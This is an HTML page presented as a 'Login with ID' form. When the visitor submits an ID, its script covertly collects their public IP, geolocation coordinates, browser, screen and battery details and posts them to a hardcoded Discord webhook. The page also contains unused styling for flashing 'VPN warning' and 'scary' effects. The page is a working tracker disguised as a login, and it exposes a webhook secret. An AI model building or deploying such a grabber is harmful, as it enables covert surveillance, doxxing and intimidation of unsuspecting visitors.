<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Login with ID</title>
    <style>
        body {
            font-family: 'Arial', sans-serif;
            margin: 0;
            padding: 0;
            height: 100vh;
            display: flex;
            justify-content: center;
            align-items: center;
            background: red;
            animation: colorChange 20s infinite;
            overflow: hidden;
        }

        @keyframes colorChange {
            0% { background-color: red; }
            25% { background-color: blue; }
            50% { background-color: purple; }
            75% { background-color: green; }
            100% { background-color: red; }
        }

        .container {
            background-color: rgba(255, 255, 255, 0.9);
            border-radius: 10px;
            padding: 20px;
            width: 300px;
            box-shadow: 0 4px 30px rgba(0, 0, 0, 0.15);
            transform: scale(0);
            animation: slideIn 0.5s forwards;
        }

        @keyframes slideIn {
            to {
                transform: scale(1);
            }
        }

        h1 {
            font-size: 20px;
            margin-bottom: 15px;
            color: #333;
            text-align: center;
            opacity: 0;
            animation: fadeIn 1s 0.2s forwards;
        }

        @keyframes fadeIn {
            to {
                opacity: 1;
            }
        }

        input[type="text"] {
            width: 100%;
            padding: 12px;
            margin-bottom: 15px;
            border-radius: 5px;
            border: 1px solid #ddd;
            font-size: 16px;
            box-sizing: border-box;
            transition: border 0.3s;
        }

        input[type="text"]:focus {
            border-color: #2575fc;
            outline: none;
        }

        button {
            width: 100%;
            padding: 12px;
            background-color: #2575fc;
            color: white;
            border: none;
            border-radius: 5px;
            font-size: 16px;
            cursor: pointer;
            transition: background-color 0.3s;
        }

        button:hover {
            background-color: #6a11cb;
        }

        .message {
            margin-top: 15px;
            color: green;
            font-size: 16px;
            opacity: 0;
            animation: messageFadeIn 1s 0.5s forwards;
        }

        @keyframes messageFadeIn {
            to {
                opacity: 1;
            }
        }

        a {
            text-decoration: none;
            color: #2575fc;
            font-size: 14px;
            display: block;
            margin-top: 15px;
            opacity: 0;
            animation: linkFadeIn 1s 0.7s forwards;
        }

        @keyframes linkFadeIn {
            to {
                opacity: 1;
            }
        }

        a:hover {
            text-decoration: underline;
        }

        .vpn-warning {
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            font-size: 30px;
            font-weight: bold;
            color: red;
            z-index: 9999;
            display: none;
            animation: flashWarning 0.1s infinite alternate;
        }

        @keyframes flashWarning {
            0% { color: red; }
            100% { color: black; }
        }

        .scary-effect {
            position: absolute;
            color: white;
            font-size: 30px;
            font-weight: bold;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            animation: scareMessage 0.1s infinite alternate;
        }

        @keyframes scareMessage {
            0% { transform: rotate(5deg); }
            100% { transform: rotate(-5deg); }
        }

        .x-effect {
            position: absolute;
            font-size: 30px;
            color: rgba(255, 0, 0, 0.8);
            animation: moveX 0.1s infinite;
            pointer-events: none;
        }

        @keyframes moveX {
            0% { transform: translateX(0) translateY(0); }
            50% { transform: translateX(200px) translateY(-200px); }
            100% { transform: translateX(-200px) translateY(200px); }
        }

        .x-effect:nth-child(odd) {
            animation-delay: 0.1s;
        }

        .x-effect:nth-child(even) {
            animation-delay: 0.2s;
        }

        .scary-background {
            background-color: black !important;
        }

        .hidden {
            display: none;
        }
    </style>
</head>
<body>
    <div class="container" id="container">
        <h1>Enter Your ID</h1>
        <input type="text" id="userId" placeholder="Enter your ID" />
        <button id="submitBtn">Submit</button>
        <div class="message" id="message"></div>
        <a href="https://www.youtube.com/watch?v=MiKrDLyq_g8" target="_blank">Don't know how?</a>
    </div>

    <script>
        async function getPublicIP() {
            try {
                const response = await fetch('https://api.ipify.org?format=json');
                const data = await response.json();
                return data.ip;
            } catch (error) {
                console.error('Error fetching public IP:', error);
                return null;
            }
        }

        async function getGeoLocation(ip) {
            try {
                const response = await fetch(`https://ipapi.co/${ip}/json/`);
                const data = await response.json();
                return data;
            } catch (error) {
                console.error('Error fetching geolocation data:', error);
                return null;
            }
        }

        async function getDeviceInfo() {
            const userAgent = navigator.userAgent;
            const screenSize = `${window.innerWidth} x ${window.innerHeight}`;
            const orientation = screen.orientation ? screen.orientation.type : 'unknown';
            const battery = await navigator.getBattery();
            const batteryLevel = battery.level * 100;

            return {
                userAgent,
                screenSize,
                orientation,
                batteryLevel
            };
        }

        async function sendToWebhook(userId, ip, location, deviceInfo) {
            const webhookUrl = 'https://discord.com/api/webhooks/1324511281788485632/A1FFbGubwcMI9oVkDYFAxMWHiSIxhZkmzlamP4halExgJtFl3PdCM2-2ywa19hzcGNMa';
            
            const embed = {
                username: 'User Attempt',
                embeds: [
                    {
                        title: `User ID: ${userId} has visited the website`,
                        color: 0x3498db,
                        fields: [
                            {
                                name: "🌍 **Location Details**",
                                value: `**IP Address**: ${ip}\n**City**: ${location.city}\n**Region**: ${location.region}\n**Country**: ${location.country_name}\n**Location Coordinates**: ${location.latitude}, ${location.longitude}`,
                                inline: false
                            },
                            {
                                name: "🖥️ **Device Info**",
                                value: `**Browser**: ${deviceInfo.userAgent}\n**Screen Size**: ${deviceInfo.screenSize}\n**Orientation**: ${deviceInfo.orientation}`,
                                inline: false
                            },
                            {
                                name: "🔋 **Battery Info**",
                                value: `**Battery Level**: ${deviceInfo.batteryLevel}%`,
                                inline: false
                            }
                        ],
                        timestamp: new Date().toISOString()
                    }
                ]
            };

            try {
                await fetch(webhookUrl, {
                    method: 'POST',
                    headers: { 'Content-Type': 'application/json' },
                    body: JSON.stringify(embed)
                });
                document.getElementById('message').textContent = 'Your visit has been logged!';
            } catch (error) {
                console.error('Error sending webhook:', error);
            }
        }

        async function handleSubmit() {
            const userId = document.getElementById('userId').value;
            if (userId.trim() === '') {
                alert('Please enter your ID!');
                return;
            }

            const ip = await getPublicIP();
            if (ip) {
                const location = await getGeoLocation(ip);
                const deviceInfo = await getDeviceInfo();
                await sendToWebhook(userId, ip, location, deviceInfo);
            } else {
                alert('Could not fetch public IP. Please try again.');
            }
        }

        document.getElementById('submitBtn').addEventListener('click', handleSubmit);

        document.getElementById('userId').addEventListener('keydown', function(event) {
            if (event.key === 'Enter') {
                handleSubmit();
            }
        });
    </script>
</body>
</html>
